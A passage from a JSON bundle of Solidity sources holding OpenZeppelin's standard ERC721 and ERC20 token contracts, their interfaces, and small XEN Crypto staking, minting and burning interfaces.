/**\n * @dev Safely transfers `tokenId` token from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes calldata data\n ) external;\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must have been allowed to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Transfers `tokenId` token from `from` to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Gives permission to `to` to transfer `tokenId` token to another account.\n * The approval is cleared when the token is transferred.\n *\n * Only a single account can be approved at a time, so approving the zero address clears previous approvals.\n *\n * Requirements:\n *\n * - The caller must own the token or be an approved operator.\n * - `tokenId` must exist.\n *\n * Emits an {Approval} event.\n */\n function approve(address to, uint256 tokenId) external;\n\n /**\n * @dev Approve or remove `operator` as an operator for the caller.\n * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.\n *\n * Requirements:\n *\n * - The `operator` cannot be the caller.\n *\n * Emits an {ApprovalForAll} event.\n */\n function setApprovalForAll(address operator, bool _approved) external;\n\n /**\n * @dev Returns the account approved for `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function getApproved(uint256 tokenId) external view returns (address operator);\n\n /**\n * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.\n *\n * See {setApprovalForAll}\n */\n function isApprovedForAll(address owner, address operator) external view returns (bool);\n}\n"
},
"@openzeppelin/contracts/token/ERC721/ERC721.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC721/ERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC721.sol\";\nimport \"./IERC721Receiver.sol\";\nimport \"./extensions/IERC721Metadata.sol\";\nimport \"../../utils/Address.sol\";\nimport \"../../utils/Context.sol\";\nimport \"../../utils/Strings.sol\";\nimport \"../../utils/introspection/ERC165.sol\";\n\n/**\n * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including\n * the Metadata extension, but not including the Enumerable extension, which is available separately as\n * {ERC721Enumerable}.\n */\ncontract ERC721 is Context, ERC165, IERC721, IERC721Metadata {\n using Address for address;\n using Strings for uint256;\n\n // Token name\n string private _name;\n\n // Token symbol\n string private _symbol;\n\n // Mapping from token ID to owner address\n mapping(uint256 => address) private _owners;\n\n // Mapping owner address to token count\n mapping(address => uint256) private _balances;\n\n // Mapping from token ID to approved address\n mapping(uint256 => address) private _tokenApprovals;\n\n // Mapping from owner to operator approvals\n mapping(address => mapping(address => bool)) private _operatorApprovals;\n\n /**\n * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.\n */\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {\n return\n interfaceId == type(IERC721).interfaceId ||\n interfaceId == type(IERC721Metadata).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n /**\n * @dev See {IERC721-balanceOf}.\n */\n function balanceOf(address owner) public view virtual override returns (uint256) {\n require(owner != address(0), \"ERC721: address zero is not a valid owner\");\n return _balances[owner];\n }\n\n /**\n * @dev See {IERC721-ownerOf}.\n */\n function ownerOf(uint256 tokenId) public view virtual override returns (address) {\n address owner = _owners[tokenId];\n require(owner != address(0), \"ERC721: invalid token ID\");\n return owner;\n }\n\n /**\n * @dev See {IERC721Metadata-name}.\n */\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n /**\n * @dev See {IERC721Metadata-symbol}.\n */\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n /**\n * @dev See {IERC721Metadata-tokenURI}.\n */\n function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {\n _requireMinted(tokenId);\n\n string memory baseURI = _baseURI();\n return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : \"\";\n }\n\n /**\n * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each\n * token will be the concatenation of the `baseURI` and the `tokenId`. Empty\n * by default, can be overridden in child contracts.\n */\n function _baseURI() internal view virtual returns (string memory) {\n return \"\";\n }\n\n /**\n * @dev See {IERC721-approve}.\n */\n function approve(address to, uint256 tokenId) public virtual override {\n address owner = ERC721.ownerOf(tokenId);\n require(to != owner, \"ERC721: approval to current owner\");\n\n require(\n _msgSender() == owner || isApprovedForAll(owner, _msgSender()),\n \"ERC721: approve caller is not token owner nor approved for all\"\n );\n\n _approve(to, tokenId);\n }\n\n /**\n * @dev See {IERC721-getApproved}.\n */\n function getApproved(uint256 tokenId) public view virtual override returns (address) {\n _requireMinted(tokenId);\n\n return _tokenApprovals[tokenId];\n }\n\n /**\n * @dev See {IERC721-setApprovalForAll}.\n */\n function setApprovalForAll(address operator, bool approved) public virtual override {\n _setApprovalForAll(_msgSender(), operator, approved);\n }\n\n /**\n * @dev See {IERC721-isApprovedForAll}.\n */\n function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {\n return _operatorApprovals[owner][operator];\n }\n\n /**\n * @dev See {IERC721-transferFrom}.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n //solhint-disable-next-line max-line-length\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"ERC721: caller is not token owner nor approved\");\n\n _transfer(from, to, tokenId);\n }\n\n /**\n * @dev See {IERC721-safeTransferFrom}.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n safeTransferFrom(from, to, tokenId, \"\");\n }\n\n /**\n * @dev See {IERC721-safeTransferFrom}.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) public virtual override {\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"ERC721: caller is not token owner nor approved\");\n _safeTransfer(from, to, tokenId, data);\n }\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * `data` is additional data, it has no specified format and it is sent in call to `to`.\n *\n * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.\n * implement alternative mechanisms to perform token transfer, such as signature-based.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function _safeTransfer(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) internal virtual {\n _transfer(from, to, tokenId);\n require(_checkOnERC721Received(from, to, tokenId, data), \"ERC721: transfer to non ERC721Receiver implementer\");\n }\n\n /**\n * @dev Returns whether `tokenId` exists.\n *\n * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.\n *\n * Tokens start existing when they are minted (`_mint`),\n * and stop existing when they are burned (`_burn`).\n */\n function _exists(uint256 tokenId) internal view virtual returns (bool) {\n return _owners[tokenId] != address(0);\n }\n\n /**\n * @dev Returns whether `spender` is allowed to manage `tokenId`.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {\n address owner = ERC721.ownerOf(tokenId);\n return (spender == owner || isApprovedForAll(owner, spender) || getApproved(tokenId) == spender);\n }\n\n /**\n * @dev Safely mints `tokenId` and transfers it to `to`.\n *\n * Requirements:\n *\n * - `tokenId` must not exist.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function _safeMint(address to, uint256 tokenId) internal virtual {\n _safeMint(to, tokenId, \"\");\n }\n\n /**\n * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is\n * forwarded in {IERC721Receiver-onERC721Received} to contract recipients.\n */\n function _safeMint(\n address to,\n uint256 tokenId,\n bytes memory data\n ) internal virtual {\n _mint(to, tokenId);\n require(\n _checkOnERC721Received(address(0), to, tokenId, data),\n \"ERC721: transfer to non ERC721Receiver implementer\"\n );\n }\n\n /**\n * @dev Mints `tokenId` and transfers it to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible\n *\n * Requirements:\n *\n * - `tokenId` must not exist.\n * - `to` cannot be the zero address.\n *\n * Emits a {Transfer} event.\n */\n function _mint(address to, uint256 tokenId) internal virtual {\n require(to != address(0), \"ERC721: mint to the zero address\");\n require(!_exists(tokenId), \"ERC721: token already minted\");\n\n _beforeTokenTransfer(address(0), to, tokenId);\n\n _balances[to] += 1;\n _owners[tokenId] = to;\n\n emit Transfer(address(0), to, tokenId);\n\n _afterTokenTransfer(address(0), to, tokenId);\n }\n\n /**\n * @dev Destroys `tokenId`.\n * The approval is cleared when the token is burned.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n *\n * Emits a {Transfer} event.\n */\n function _burn(uint256 tokenId) internal virtual {\n address owner = ERC721.ownerOf(tokenId);\n\n _beforeTokenTransfer(owner, address(0), tokenId);\n\n // Clear approvals\n _approve(address(0), tokenId);\n\n _balances[owner] -= 1;\n delete _owners[tokenId];\n\n emit Transfer(owner, address(0), tokenId);\n\n _afterTokenTransfer(owner, address(0), tokenId);\n }\n\n /**\n * @dev Transfers `tokenId` from `from` to `to`.\n * As opposed to {transferFrom}, this imposes no restrictions on msg.sender.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n *\n * Emits a {Transfer} event.\n */\n function _transfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {\n require(ERC721.ownerOf(tokenId) == from, \"ERC721: transfer from incorrect owner\");\n require(to != address(0), \"ERC721: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, tokenId);\n\n // Clear approvals from the previous owner\n _approve(address(0), tokenId);\n\n _balances[from] -= 1;\n _balances[to] += 1;\n _owners[tokenId] = to;\n\n emit Transfer(from, to, tokenId);\n\n _afterTokenTransfer(from, to, tokenId);\n }\n\n /**\n * @dev Approve `to` to operate on `tokenId`\n *\n * Emits an {Approval} event.\n */\n function _approve(address to, uint256 tokenId) internal virtual {\n _tokenApprovals[tokenId] = to;\n emit Approval(ERC721.ownerOf(tokenId), to, tokenId);\n }\n\n /**\n * @dev Approve `operator` to operate on all of `owner` tokens\n *\n * Emits an {ApprovalForAll} event.\n */\n function _setApprovalForAll(\n address owner,\n address operator,\n bool approved\n ) internal virtual {\n require(owner != operator, \"ERC721: approve to caller\");\n _operatorApprovals[owner][operator] = approved;\n emit ApprovalForAll(owner, operator, approved);\n }\n\n /**\n * @dev Reverts if the `tokenId` has not been minted yet.\n */\n function _requireMinted(uint256 tokenId) internal view virtual {\n require(_exists(tokenId), \"ERC721: invalid token ID\");\n }\n\n /**\n * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.\n * The call is not executed if the target address is not a contract.\n *\n * @param from address representing the previous owner of the given token ID\n * @param to target address that will receive the tokens\n * @param tokenId uint256 ID of the token to be transferred\n * @param data bytes optional data to send along with the call\n * @return bool whether the call correctly returned the expected magic value\n */\n function _checkOnERC721Received(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) private returns (bool) {\n if (to.isContract()) {\n try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, data) returns (bytes4 retval) {\n return retval == IERC721Receiver.onERC721Received.selector;\n } catch (bytes memory reason) {\n if (reason.length == 0) {\n revert(\"ERC721: transfer to non ERC721Receiver implementer\");\n } else {\n /// @solidity memory-safe-assembly\n assembly {\n revert(add(32, reason), mload(reason))\n }\n }\n }\n } else {\n return true;\n }\n }\n\n /**\n * @dev Hook that is called before any token transfer. This includes minting\n * and burning.\n *\n * Calling conditions:\n *\n * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be\n * transferred to `to`.\n * - When `from` is zero, `tokenId` will be minted for `to`.\n * - When `to` is zero, ``from``'s `tokenId` will be burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {}\n\n /**\n * @dev Hook that is called after any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {}\n}\n"
},
"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC20.sol\";\n\n/**\n * @dev Interface for the optional metadata functions from the ERC20 standard.\n *\n * _Available since v4.1._\n */\ninterface IERC20Metadata is IERC20 {\n /**\n * @dev Returns the name of the token.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the symbol of the token.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the decimals places of the token.\n */\n function decimals() external view returns (uint8);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/IERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 standard as defined in the EIP.\n */\ninterface IERC20 {\n /**\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\n * another (`to`).\n *\n * Note that `value` may be zero.\n */\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n /**\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\n * a call to {approve}. `value` is the new allowance.\n */\n event Approval(address indexed owner, address indexed spender, uint256 value);\n\n /**\n * @dev Returns the amount of tokens in existence.\n */\n function totalSupply() external view returns (uint256);\n\n /**\n * @dev Returns the amount of tokens owned by `account`.\n */\n function balanceOf(address account) external view returns (uint256);\n\n /**\n * @dev Moves `amount` tokens from the caller's account to `to`.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transfer(address to, uint256 amount) external returns (bool);\n\n /**\n * @dev Returns the remaining number of tokens that `spender` will be\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\n * zero by default.\n *\n * This value changes when {approve} or {transferFrom} are called.\n */\n function allowance(address owner, address spender) external view returns (uint256);\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\n * that someone may use both the old and the new allowance by unfortunate\n * transaction ordering. One possible solution to mitigate this race\n * condition is to first reduce the spender's allowance to 0 and set the\n * desired value afterwards:\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n *\n * Emits an {Approval} event.\n */\n function approve(address spender, uint256 amount) external returns (bool);\n\n /**\n * @dev Moves `amount` tokens from `from` to `to` using the\n * allowance mechanism. `amount` is then deducted from the caller's\n * allowance.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/ERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC20/ERC20.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC20.sol\";\nimport \"./extensions/IERC20Metadata.sol\";\nimport \"../../utils/Context.sol\";\n\n/**\n * @dev Implementation of the {IERC20} interface.\n *\n * This implementation is agnostic to the way tokens are created. This means\n * that a supply mechanism has to be added in a derived contract using {_mint}.\n * For a generic mechanism see {ERC20PresetMinterPauser}.\n *\n * TIP: For a detailed writeup see our guide\n * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How\n * to implement supply mechanisms].\n *\n * We have followed general OpenZeppelin Contracts guidelines: functions revert\n * instead returning `false` on failure. This behavior is nonetheless\n * conventional and does not conflict with the expectations of ERC20\n * applications.\n *\n * Additionally, an {Approval} event is emitted on calls to {transferFrom}.\n * This allows applications to reconstruct the allowance for all accounts just\n * by listening to said events. Other implementations of the EIP may not emit\n * these events, as it isn't required by the specification.\n *\n * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}\n * functions have been added to mitigate the well-known issues around setting\n * allowances. See {IERC20-approve}.\n */\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n /**\n * @dev Sets the values for {name} and {symbol}.\n *\n * The default value of {decimals} is 18. To select a different value for\n * {decimals} you should overload it.\n *\n * All two of these values are immutable: they can only be set once during\n * construction.\n */\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n /**\n * @dev Returns the name of the token.\n */\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n /**\n * @dev Returns the symbol of the token, usually a shorter version of the\n * name.\n */\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n /**\n * @dev Returns the number of decimals used to get its user representation.\n * For example, if `decimals` equals `2`, a balance of `505` tokens should\n * be displayed to a user as `5.05` (`505 / 10 ** 2`).\n *\n * Tokens usually opt for a value of 18, imitating the relationship between\n * Ether and Wei. This is the value {ERC20} uses, unless this function is\n * overridden;\n *\n * NOTE: This information is only used for _display_ purposes: it in\n * no way affects any of the arithmetic of the contract, including\n * {IERC20-balanceOf} and {IERC20-transfer}.\n */\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n /**\n * @dev See {IERC20-totalSupply}.\n */\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n /**\n * @dev See {IERC20-balanceOf}.\n */\n function balanceOf(address account) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n /**\n * @dev See {IERC20-transfer}.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - the caller must have a balance of at least `amount`.\n */\n function transfer(address to, uint256 amount) public virtual override returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n /**\n * @dev See {IERC20-allowance}.\n */\n function allowance(address owner, address spender) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n /**\n * @dev See {IERC20-approve}.\n *\n * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on\n * `transferFrom`. This is semantically equivalent to an infinite approval.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function approve(address spender, uint256 amount) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n /**\n * @dev See {IERC20-transferFrom}.\n *\n * Emits an {Approval} event indicating the updated allowance. This is not\n * required by the EIP. See the note at the beginning of {ERC20}.\n *\n * NOTE: Does not update the allowance if the current allowance\n * is the maximum `uint256`.\n *\n * Requirements:\n *\n * - `from` and `to` cannot be the zero address.\n * - `from` must have a balance of at least `amount`.\n * - the caller must have allowance for ``from``'s tokens of at least\n * `amount`.\n */\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n /**\n * @dev Atomically increases the allowance granted to `spender` by the caller.\n *\n * This is an alternative to {approve} that can be used as a mitigation for\n * problems described in {IERC20-approve}.\n *\n * Emits an {Approval} event indicating the updated allowance.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n /**\n * @dev Atomically decreases the allowance granted to `spender` by the caller.\n *\n * This is an alternative to {approve} that can be used as a mitigation for\n * problems described in {IERC20-approve}.\n *\n * Emits an {Approval} event indicating the updated allowance.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n * - `spender` must have allowance for the caller of at least\n * `subtractedValue`.\n */\n function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(currentAllowance >= subtractedValue, \"ERC20: decreased allowance below zero\");\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n /**\n * @dev Moves `amount` of tokens from `from` to `to`.\n *\n * This internal function is equivalent to {transfer}, and can be used to\n * e.g. implement automatic token fees, slashing mechanisms, etc.\n *\n * Emits a {Transfer} event.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `from` must have a balance of at least `amount`.\n */\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n require(fromBalance >= amount, \"ERC20: transfer amount exceeds balance\");\n unchecked {\n _balances[from] = fromBalance - amount;\n }\n _balances[to] += amount;\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n /** @dev Creates `amount` tokens and assigns them to `account`, increasing\n * the total supply.\n *\n * Emits a {Transfer} event with `from` set to the zero address.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n */\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n /**\n * @dev Destroys `amount` tokens from `account`, reducing the\n * total supply.\n *\n * Emits a {Transfer} event with `to` set to the zero address.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n * - `account` must have at least `amount` tokens.\n */\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.\n *\n * This internal function is equivalent to `approve`, and can be used to\n * e.g. set automatic allowances for certain subsystems, etc.\n *\n * Emits an {Approval} event.\n *\n * Requirements:\n *\n * - `owner` cannot be the zero address.\n * - `spender` cannot be the zero address.\n */\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n /**\n * @dev Updates `owner` s allowance for `spender` based on spent `amount`.\n *\n * Does not update the allowance amount in case of infinite allowance.\n * Revert if not enough allowance is available.\n *\n * Might emit an {Approval} event.\n */\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(currentAllowance >= amount, \"ERC20: insufficient allowance\");\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n /**\n * @dev Hook that is called before any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n * will be transferred to `to`.\n * - when `from` is zero, `amount` tokens will be minted for `to`.\n * - when `to` is zero, `amount` of ``from``'s tokens will be burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n /**\n * @dev Hook that is called after any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n * has been transferred to `to`.\n * - when `from` is zero, `amount` tokens have been minted for `to`.\n * - when `to` is zero, `amount` of ``from``'s tokens have been burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n"
},
"@openzeppelin/contracts/interfaces/IERC2981.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (interfaces/IERC2981.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Interface for the NFT Royalty Standard.\n *\n * A standardized way to retrieve royalty payment information for non-fungible tokens (NFTs) to enable universal\n * support for royalty payments across all NFT marketplaces and ecosystem participants.\n *\n * _Available since v4.5._\n */\ninterface IERC2981 is IERC165 {\n /**\n * @dev Returns how much royalty is owed and to whom, based on a sale price that may be denominated in any unit of\n * exchange. The royalty amount is denominated and should be paid in that same unit of exchange.\n */\n function royaltyInfo(uint256 tokenId, uint256 salePrice)\n external\n view\n returns (address receiver, uint256 royaltyAmount);\n}\n"
},
"@openzeppelin/contracts/interfaces/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/IERC165.sol\";\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IStakingToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IStakingToken {\n event Staked(address indexed user, uint256 amount, uint256 term);\n\n event Withdrawn(address indexed user, uint256 amount, uint256 reward);\n\n function stake(uint256 amount, uint256 term) external;\n\n function withdraw() external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IRankedMintingToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IRankedMintingToken {\n event RankClaimed(address indexed user, uint256 term, uint256 rank);\n\n event MintClaimed(address indexed user, uint256 rewardAmount);\n\n function claimRank(uint256 term) external;\n\n function claimMintReward() external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IBurnableToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IBurnableToken {\n function burn(address user, uint256 amount) external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IBurnRedeemable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IBurnRedeemable {\n event Redeemed(\n address indexed user,\n address indexed xenContract,\n address indexed tokenContract,\n uint256 xenAmount,\n uint256 tokenAmount\n );\n\n function onTokenBurned(address user, uint256 amount) external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/XENCrypto.sol": {
